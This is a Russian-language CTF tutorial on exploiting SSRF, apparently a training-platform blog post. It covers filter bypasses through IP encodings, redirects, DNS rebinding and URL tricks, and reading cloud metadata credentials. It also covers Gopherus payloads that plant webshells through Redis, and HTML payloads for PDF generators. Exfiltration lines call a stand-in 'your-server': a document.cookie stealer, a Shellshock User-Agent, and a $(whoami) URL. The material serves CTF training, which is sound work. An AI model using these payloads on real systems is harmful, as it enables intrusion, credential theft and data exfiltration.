
Сорок минут на обход SSRF-фильтра. Он блокировал 127.0.0.1, localhost, 0.0.0.0 и даже [::1]. Решение — http://0177.0.0.01/admin (октальное представление). Фильтр тупо проверял подстроку в URL, не резолвил DNS и не нормализовал IP-адрес. Это типичная история в CTF: 80% времени уходит не на поиск SSRF уязвимости, а на обход защиты, которую автор задачи навесил поверх. OWASP включила SSRF в Top 10 на позицию A10:2021 — причём категорию добавили по результатам community survey, сообщество безопасников само проголосовало за включение. В CTF-задачах Server-Side Request Forgery стабильно появляется от начального уровня до хардкорных цепочек. И каждый раз ядро одинаковое: заставить сервер сделать запрос туда, куда он не должен, и забрать то, что не предназначено.
Первое правило — не ковырять формы вслепую. SSRF прячется в любом месте, где приложение принимает URL и делает по нему серверный запрос. CWE-918 формулирует это так: «the web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination». На CTF-языке: ищи параметры, в которые можно подставить адрес. Подробнее — в нашем руководстве по создание ctf заданий.
Очевидные точки входа — параметры вида url=, src=, dest=, callback=, feed=, redirect=, uri=, target=, reference=. В CTF они чаще всего лежат в GET-строке или в теле POST-запроса. Включаешь Burp Proxy, проходишь по всем страницам приложения — каждый запрос с параметром, похожим на URL, проверяется первым.
Менее очевидные точки, которые пропускает большинство команд:
Host, X-Forwarded-For, X-Forwarded-Host, Referer. Некоторые приложения используют значение этих заголовков для построения внутренних URL. По данным PortSwigger, Referer-заголовок обрабатывается серверными аналитическими системами, которые ходят по ссылке для анализа реферера — и вот это уже blind SSRF.<iframe> или <img> может стать полноценной SSRF. Подробнее — ниже в отдельном разделе.<image href>, markdown-ссылки на изображения, внешние ссылки в DOCX/XLSX. Всё это может триггерить серверный запрос при парсинге.Для подтверждения SSRF используй out-of-band detection: Burp Collaborator или interactsh от ProjectDiscovery (бесплатная альтернатива). Подставляешь адрес контролируемого сервера в подозрительный параметр — если callback пришёл, SSRF подтверждена. Расширение Collaborator Everywhere для Burp автоматически вставляет пейлоады в заголовки исходящих запросов и фиксирует обратные вызовы. По MITRE ATT&CK начальная эксплуатация SSRF — Exploit Public-Facing Application (T1190, Initial Access).
Если автор таска не совсем новичок, прямой http://localhost или http://127.0.0.1 будет заблокирован. Blacklist-фильтры проверяют строку URL на наличие запрещённых подстрок. Проблема blacklist-подхода в том, что он никогда не охватывает все варианты представления одного и того же адреса.
IP-адрес 127.0.0.1 можно записать десятками способов, и каждый резолвится в один и тот же loopback-интерфейс:
| Формат | Пейлоад | Что делает фильтр |
|---|---|---|
| Decimal | http://2130706433/ |
Не содержит «127» — пропускает |
| Hex | http://0x7f000001/ |
Не содержит «localhost» — пропускает |
| Octal | http://0177.0.0.01/ |
Нестандартная нотация — не в blacklist |
| Сокращённый | http://127.1/ |
Проверка на «127.0.0.1» не сработает |
| IPv6 | http://[::1]/ |
Если фильтр не проверяет IPv6 |
| Нулевой хост | http://0/ |
Резолвится в 0.0.0.0, часто = localhost |
| Домен-алиас | http://localtest.me/ |
DNS резолвит в 127.0.0.1 (сторонний сервис, аптайм не гарантирован) |
| Домен-алиас | http://vcap.me/ |
Аналогично (современные фильтры с post-resolve IP-проверкой блокируют такие домены) |
По данным PortSwigger, обфускация заблокированных строк через URL-кодирование или смену регистра тоже работает. URL-кодирование IP (%31%32%37%2e%30%2e%30%2e%31 декодируется в 127.0.0.1) ломает фильтры, которые сравнивают строку до декодирования. Двойное кодирование (%2531%2532%2537%252e%2530%252e%2530%252e%2531, где %25 = %) работает против фильтров, которые декодируют URL один раз, а бэкенд-HTTP-клиент — дважды.
Ключевое: фильтр проверяет строку, а HTTP-клиент резолвит адрес. Между этими двумя шагами — пропасть, в которую проваливается любой blacklist.
Когда все варианты IP-представлений закрыты, следующий шаг — редиректы. Поднимаешь свой сервер (VPS или ngrok), который на любой GET-запрос отвечает 302 Location: http://127.0.0.1:порт/path. Приложение проверяет URL до запроса, видит твой легитимный домен — пропускает. HTTP-клиент идёт по адресу, получает редирект и послушно переходит на localhost.
Ещё эффективнее — open redirect на самом целевом домене. Если в приложении есть эндпоинт вида /redirect?url=http://127.0.0.1/admin, подставляешь его как SSRF-пейлоад: приложение видит собственный домен, пропускает whitelist-проверку, а потом само перенаправляет запрос на localhost. Смена протокола при редиректе (http: → https: и обратно) обходит часть anti-SSRF фильтров, которые проверяют схему.
DNS rebinding — продвинутая техника для обхода фильтров, которые резолвят DNS до отправки запроса. Фильтр отправляет DNS-запрос, получает легитимный IP (например, 1.2.3.4), считает его безопасным. Но между проверкой и реальным запросом проходит время — и за эти миллисекунды DNS-ответ меняется на 127.0.0.1 (TTL записи = 0). Для генерации rebinding-доменов есть сервис taviso — lock.cmpxchg8b.com/rebinder.html: указываешь два IP (легитимный и целевой), получаешь домен, который «перескакивает» между ними (сервис нестабилен, аптайм не гарантирован; при недоступности используйте собственный DNS-сервер с TTL=0). Минус — IP чередуются случайно, поэтому атака может потребовать нескольких попыток.
Whitelist-фильтры — зверь посерьёзнее blacklist: приложение разрешает запросы только к URL, содержащим определённый домен. Но спецификация URL содержит нюансы, которые разработчики упускают при ручном парсинге. Эти техники — главный пробел русскоязычных материалов по SSRF, и именно их задают авторы задач среднего и высокого уровня.
Четыре основных вектора SSRF whitelist bypass (по данным PortSwigger):
Credentials в URL (символ @). URL https://expected-host:fakepassword@evil-host по спецификации обращается к evil-host, а expected-host трактуется как имя пользователя. Фильтр ищет подстроку expected-host — она есть, проверка пройдена. Но запрос уходит на evil-host.
Фрагмент URL (символ #). В https://evil-host#expected-host всё после # — фрагмент, который серверу не отправляется. Фильтр видит expected-host в строке и пропускает. Запрос идёт на evil-host.
DNS-иерархия. Домен expected-host.evil-host содержит подстроку expected-host, но резолвится через DNS evil-host, который контролирует атакующий. Фильтр удовлетворён наличием ожидаемого имени, DNS резолвит в нужный IP.
Комбинация с URL-кодированием. Символы @ и # можно URL-кодировать (%40, %23), а если код фильтра и код HTTP-клиента декодируют по-разному — whitelist обходится через разницу в интерпретации. Double-encoding (%2540 для @) усиливает эффект — некоторые серверы рекурсивно декодируют входные данные.
На практике whitelist bypass в CTF требует комбинации техник. Один символ @ может не сработать, но @ + URL-encoding + redirect — уже работает. Это головоломка, и решение часто находится перебором комбинаций в Burp Repeater. Я обычно начинаю с @, потом добавляю кодирование, потом прикручиваю редирект — и на одном из шагов фильтр сдаётся.
SSRF уязвимость в CTF — редко конечная цель. Это трамплин: от SSRF к чтению внутренних файлов, краже токенов, выполнению команд. Цепочка развивается через несколько этапов.
Первый шаг после подтверждения SSRF — сканирование внутренних портов. Подставляешь http://127.0.0.1:PORT/ с перебором портов через Burp Intruder или ffuf. По разным ответам (200, 403, 500, таймаут, разная длина тела) определяешь открытые сервисы. Это Network Service Discovery (T1046). Типичные находки в CTF: Redis на 6379, Elasticsearch на 9200, внутренний API на 3000/5000/8080, MySQL на 3306.
Для чтения локальных файлов используй протокол file:// — пейлоад file:///etc/passwd через SSRF-параметр. Если HTTP-клиент приложения поддерживает эту схему (cURL, PHP file_get_contents, Java URL), содержимое файла вернётся в ответе. Это Data from Local System (T1005). В CTF флаг часто лежит в /flag, /flag.txt, /app/flag.txt или в переменных окружения (читаются через file:///proc/self/environ).
Внутренние сервисы за файрволом доверяют запросам с localhost — «кто ещё обратится изнутри, как не свой?». Происходит это по трём причинам: контроль доступа реализован на уровне reverse proxy (не приложения), для disaster recovery оставлен доступ без аутентификации с localhost, или административный интерфейс слушает на отдельном порту, который не торчит наружу. В CTF эндпоинты /admin, /internal/api/key, /secret почти всегда доступны при обращении через SSRF без дополнительных credentials. Кроме localhost, стоит перебирать внутренние подсети: http://192.168.0.X/, http://10.0.0.X/ — задание может эмулировать внутреннюю сеть с несколькими хостами (Remote System Discovery, T1018).
Если CTF-задача развёрнута на AWS EC2 или эмулирует облачную среду, metadata endpoint — первая цель. Адрес http://169.254.169.254/latest/meta-data/ возвращает информацию об инстансе, а путь /latest/meta-data/iam/security-credentials/ — название IAM-роли. Запрашиваешь полный путь с именем роли — получаешь JSON с AccessKeyId, SecretAccessKey и Token. Этих данных достаточно для аутентификации через AWS CLI. Техника — Cloud Instance Metadata API (T1552.005, Credential Access).
AWS IMDSv2 усложняет задачу: для доступа к метаданным нужен токен, получаемый через PUT-запрос с заголовком X-aws-ec2-metadata-token-ttl-seconds. Стандартный SSRF через GET не сработает. Но если HTTP-клиент приложения поддерживает gopher-протокол, можно сформировать произвольный PUT-запрос — об этом ниже.
Для GCP metadata endpoint — http://metadata.google.internal/computeMetadata/v1/, но требуется заголовок Metadata-Flavor: Google. Если SSRF позволяет контролировать заголовки (через CRLF-инъекцию в URL), этот заголовок можно добавить. Azure использует http://169.254.169.254/metadata/instance?api-version=2021-02-01 с заголовком Metadata: true.
Gopher-протокол (gopher://) — мост от SSRF к полному выполнению команд. В отличие от HTTP, gopher позволяет отправить произвольные байты на любой TCP-порт. Если HTTP-клиент приложения поддерживает gopher:// (cURL, PHP с curl-wrappers, Python urllib в старых версиях), SSRF превращается в универсальный TCP-клиент. Звучит безобидно, а на деле — карт-бланш.
Самая частая эскалация — SSRF до RCE через Redis. Redis по умолчанию слушает на порту 6379 без аутентификации. Через gopher-пейлоад отправляешь команды Redis напрямую: записать cron-задание, webshell или SSH-ключ. По данным YesWeHack, цепочка SSRF → Redis → RCE стабильно встречается и в CTF, и в bug bounty.
Gopherus генерирует готовые gopher-пейлоады для нескольких бэкендов (репозиторий tarunkant/Gopherus давно не обновлялся — перед использованием проверьте совместимость с текущей версией Python):
gopherus --exploit redis
gopherus --exploit fastcgi
gopherus --exploit mysql
gopherus --exploit smtp
Для Redis Gopherus спрашивает команду — например, записать PHP-webshell в /var/www/html/shell.php. На выходе — URL-encoded gopher-строка, которую подставляешь в уязвимый параметр. Для FastCGI аналогично: если на сервере работает PHP-FPM на порту 9000, gopher-пейлоад эмулирует FastCGI-запрос и выполняет произвольную PHP-команду. SSRFMap — альтернатива на Python, автоматизирующая весь процесс: python3 ssrfmap.py -r request.txt -p url -m readfiles (репозиторий swisskyrepo/SSRFmap давно не поддерживается активно — проверьте совместимость с текущей версией Python и зависимостями).
SMTP через gopher позволяет отправлять письма от имени сервера. В CTF-задачах, где нужно сбросить пароль админа через внутренний SMTP на порту 25, это прямой путь к флагу.
Blind SSRF — сервер делает запрос, но ответ не возвращается. Эксплуатация сильно усложняется, но не становится невозможной. По данным YesWeHack, blind SSRF встречается чаще классического варианта в production, потому что приложения обрабатывают URL асинхронно (webhooks, очереди, фоновые воркеры) и не выводят ответ пользователю.
Три способа доказать импакт blind SSRF:
Out-of-band detection. Подставляешь адрес Burp Collaborator или interactsh-сервера — если DNS-запрос или HTTP-callback пришёл, SSRF подтверждена. Для извлечения данных добавляешь информацию в URL: http://your-server.com/?data=$(whoami) — если приложение подставляет результат команды в URL перед запросом, данные утекут через DNS-лог.
Timing-based inference. Замеряешь время ответа при обращении к открытому порту (быстрый ответ) и закрытому (таймаут). Разница в 3-10 секунд позволяет сканировать порты без видимого ответа. В Burp Intruder это делается через колонку Response Time с сортировкой.
Blind SSRF + Shellshock. Комбинация с CVE-2014-6271 (GNU Bash, CVSS 9.8 CRITICAL, CWE-78) — один из самых жёстких приёмов. Если через blind SSRF можно дотянуться до внутреннего сервера с CGI-скриптом на Apache mod_cgi/mod_cgid (который передаёт HTTP-заголовки как переменные окружения в bash-субшелл) на уязвимой версии Bash (до 4.3), заголовок User-Agent: () { :; }; /bin/nslookup $(whoami).your-server.com выполнит команду и отправит результат через DNS. Атака работает именно с CGI-обработчиками, а не с произвольными HTTP-сервисами. По данным PortSwigger, расширение Collaborator Everywhere автоматизирует именно эту атаку. CVE-2014-6271 включена в каталог CISA KEV 28 января 2022 года (активно эксплуатируется с момента раскрытия в сентябре 2014), EPSS-score = 1.0 — максимально возможная вероятность эксплуатации.
Отдельный класс SSRF, который пропускают в CTF чаще всего. Если приложение генерирует PDF из пользовательского ввода (отчёт, чек, резюме), оно использует headless-браузер (Puppeteer, wkhtmltopdf, WeasyPrint) или HTML-рендер. По данным YesWeHack, headless-браузеры отличаются от обычного SSRF: они выполняют JavaScript, поддерживают file:// и могут обращаться к localhost с полным набором возможностей браузера. По сути — это браузер без морды, но со всеми потрохами.
Основные пейлоады для PDF-генераторов:
<img src="http://127.0.0.1:8080/admin"> — если изображение рендерится в PDF, содержимое внутреннего сервиса может оказаться визуально в PDF-файле<iframe src="file:///etc/passwd"> — чтение локальных файлов через file-протокол<script>document.location='http://your-server/?c='+document.cookie</script> — если JS выполняется, можно извлечь данные через исходящий запрос<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> — metadata через CSS-запросДля определения движка PDF-генератора проверь метаданные PDF (поле Producer/Creator): exiftool output.pdf. Если wkhtmltopdf — поддерживает file:// и JS по умолчанию. WeasyPrint — JS не выполняет, но file:// работает. Puppeteer/Chromium — самый зубастый: полный JS, fetch API, все протоколы.
Формула для CTF: видишь форму, которая генерирует PDF → вставь HTML-тег с localhost/file:// → проверь результат в скачанном PDF.
Один из показательных примеров SSRF последнего времени — CVE-2025-57822, которая, по имеющимся данным, использовалась в CTF-задачах (конкретные названия и площадки требуют независимой проверки). Это SSRF в Next.js до версий 14.2.32 и 15.4.7, CVSS 6.5 (MEDIUM), вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N, CWE-918. Сложность атаки — High (AC:H), потому что нужна специфическая конфигурация middleware.
Суть: когда в middleware вызывается next() без явной передачи объекта request, пользовательские заголовки пробрасываются на сервер некорректно. Передача заголовка Location вместе с UTM-параметром (который триггерит уязвимый код-путь) вызывает серверный редирект к произвольному URL.
GET /?utm_source=meta HTTP/2
Host: challenge.example.com
Location: http://localhost:8080/script
Сервер следует за Location-заголовком и возвращает содержимое внутреннего сервиса. Три строчки кода в middleware, пять минут на эксплуатацию. Дальнейшая постэксплуатация зависит от конкретного окружения и не является частью CVE-2025-57822. Через перебор портов (Burp Intruder по диапазону 1-65535) мог быть обнаружен внутренний сервис без аутентификации — Network Service Discovery (T1046), через консоль которого выполнялась команда чтения флага.
В CTF авторы задачи гарантируют наличие уязвимой конфигурации — в реальном пентесте нужно сначала подтвердить, что middleware вызывает next() без request object. Nuclei-шаблон для автоматической проверки: CVE-2025-57822.yaml в репозитории projectdiscovery/nuclei-templates.
Разница между CTF и реальным пентестом здесь критична: в CTF уязвимая конфигурация гарантирована, на проде AC:H означает, что большинство Next.js-приложений не подвержены.
Большинство CTF-команд тратят время на SQLi и XSS, потому что эти уязвимости понятнее и линейнее. SSRF требует другого мышления — не «найди баг и получи данные», а «найди баг, обойди три слоя фильтров, дотянись до внутреннего сервиса, эскалируй через протокол, который никто не ожидал». В этом и ценность: SSRF-задачи в CTF учат чейнингу, а не одиночным трюкам. За последние пару лет я вижу тренд: авторы тасков комбинируют SSRF с другими классами уязвимостей — open redirect + SSRF + десериализация, PDF-генератор + blind SSRF + Shellshock. Одиночная уязвимость в вакууме — это учебник. Цепочка из трёх звеньев — это реальный пентест.
Ещё одно наблюдение: whitelist-байпасы через @ и # в URL-спецификации до сих пор работают на удивительном количестве задач среднего уровня. Авторы копируют фильтры из Stack Overflow, не понимая, что спецификация URL содержит десяток «ловушек» для ручного парсинга. Если хочешь уверенно решать такие задачи — нужна системная практика, а не заучивание пейлоадов. На WAPT эту цепочку от обнаружения SSRF до эскалации через gopher проходят в лабах с обратной связью от ментора, и это ровно тот уровень прогрессии, которого не хватает writeup'ам.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...